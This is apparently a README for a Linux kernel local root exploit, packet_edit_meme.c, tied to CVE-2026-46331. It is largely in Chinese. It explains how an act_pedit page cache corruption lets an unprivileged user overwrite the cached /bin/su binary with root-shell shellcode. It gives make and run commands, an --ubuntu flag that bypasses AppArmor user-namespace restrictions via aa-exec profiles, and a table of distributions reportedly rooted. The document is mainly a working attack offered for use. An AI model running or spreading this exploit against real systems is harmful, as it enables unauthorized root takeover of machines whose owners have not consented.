
PACKET_EDIT_MEME.c (aka CVE-2026-46331): yet another page cache poisoning nightmare
net/sched act_pedit 部分COW页缓存损坏 (罪魁祸首 899ee91156e5,
存在 v5.18 .. 已修复 v7.1-rc7)。packet_edit_meme.c 将其转化为无特权本地 root:一个 userns CAP_NET_ADMIN 子进程覆盖了 setuid-root /bin/su 的缓存 ELF 入口,使用 setgid(0)+setuid(0)+execve("/bin/sh") shellcode。
make
./packet_edit_meme
./packet_edit_meme --ubuntu # AppArmor 限制的 Ubuntu:首先绕过 aa-exec
| 发行版 | 内核 | 标志 | 结果 |
|---|---|---|---|
| RHEL 10.0 | 6.12.0-228.el10 | (none) | ROOT |
| Debian 13 trixie | 6.12.90+deb13.1 | (none) | ROOT |
| Ubuntu 24.04.4 | 6.17.0-22 | --ubuntu | ROOT |
| Ubuntu 26.04 | 7.0.0-14-generic | --ubuntu | FAIL |
RHEL / Debian:无特权 userns 默认开放,无需标志。RHEL 附带
没有 cls_basic / em_meta,因此原语自动回退到 matchall。
Ubuntu 通过两个 sysctl 拒绝无限制的无特权 userns:
kernel.apparmor_restrict_unprivileged_userns # 拒绝创建无限制的 userns
kernel.apparmor_restrict_unprivileged_unconfined # 强制将无限制的 change_profile 设置为 STACK,
# 因此 aa-exec 宽松配置文件无法
# 摆脱 userns 限制
--ubuntu 通过 aa-exec -p {trinity,chrome,flatpak} 重新执行 (带有
userns, 规则的配置文件)。
24.04.4 : userns=1, unconfined=0 -> aa-exec 绕过 有效
26.04 : userns=1, unconfined=1 -> aa-exec 绕过 已关闭